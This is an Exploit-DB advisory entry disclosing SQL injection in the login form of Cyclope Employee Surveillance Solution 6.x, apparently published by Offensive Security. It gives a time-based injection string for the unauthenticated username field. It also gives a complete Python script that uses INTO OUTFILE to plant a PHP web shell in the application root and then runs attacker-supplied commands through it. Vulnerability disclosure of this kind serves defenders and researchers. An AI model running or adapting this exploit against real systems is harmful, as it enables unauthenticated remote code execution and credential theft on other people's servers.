Cyclope Employee Surveillance Solution 6.0/6.1.0/6.2.0/6.2.1/6.3.0 – SQL Injection

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作者： loneferret

日期： 2012-08-09
类别：
- webapps
平台：
- windows
来源：https://www.exploit-db.com/exploits/20393/

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# Author: loneferret of Offensive Security

# Product: Cyclope Employee Surveillance Solution v6.0

# Version: 6.0

# Vendor Site: http://www.cyclope-series.com/

# Software Download: http://www.cyclope-series.com/download/index.html

# Software description:

# The employee monitoring software developed by Cyclope-Series is specially designed to inform

# and equip management with statistics relating to the productivity of staff within their organization.

# Vulnerability:

# Due to improper input sensitization, many parameters are prone to SQL injection.

# Most importantly, the username parameter in the application's login form.

# Effected versions:

# Change script accordingly. You can see the folder's name when viewing the source code

# from the login screen.

# 6.1.0: Default install path: C:\Program Files\Cyclope\Ni4xLjA=

# 6.2.0: Default install path: C:\Program Files\Cyclope\Ni4yLjA=

# 6.2.1: Default install path: C:\Program Files\Cyclope\Ni4yLjE=

# 6.3.0: Default install path: C:\Program Files\Cyclope\Ni4zLjA=

# PoC 1:

# MySql sleep for 5 seconds.

# No Authentication Required.

# Page: /index.php

# Form: login

# Vulnerable Parameter: username

# username: x' or sleep(5) and '1'='1

# password: whatever

# As stated, nothing is checked before passing "username" to MySql.

# This results in MySql sleeping for 5 seconds, and a unsuccessful

# attempt.

# PoC 2:

# Remote Code Execution

# No Authentication Required.

# Page: /index.php

# Form: login

# Vulnerable Parameter: username

# Creates a small php shell in the application's root folder.

# It also has the added bonus of writing the administrator username and password

# Side note:

# This assumes a default installation. Which is located in "C:\Program Files\Cyclope\Ni4xLjA=\"

# If you are wondering what is "Ni4xLjA=", well it's the software's version number in Base64 (6.1.0).

# Using Owasp Zap, you can spider the site to find the application's root folder if ever it changes.

----Python Script Simple Backdoor----

#!/usr/bin/python

import urllib, cookielib

import urllib2

import sys

print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"

print "[*] Vulnerability discovered by loneferret"

print "[*] Offensive Security - http://www.offensive-security.com\n"

if (len(sys.argv) != 3):

print "[*] Usage: poc.py <RHOST> <CMD>"

print "[*] Ex.: poc.py 127.0.0.1 ipconfig"

exit(0)

rhost = sys.argv[1]

rcmd = sys.argv[2]

backdoor = "<?php system($_GET['exe']);?>"

prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "

prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')

act = 'auth-login'

pag = 'login'

password = 'hole'

cj = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})

print "[*] Sending evil payload"

resp = opener.open("http://%s:7879/" % rhost, post_params)

print "[*] Triggering backdoor"

cmd = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost

page = urllib.urlopen(cmd)

print "[*] Executing command: %s\n" % rcmd

shell = 'http://%s:7879/Ni4xLjA=/cmd.php?exe=%s' % (rhost,rcmd)

try:

page = urllib.urlopen(shell)

cmd = page.read()

print cmd

except:

print "[-] Oups! Somthing happened"

---Python Getting Shell---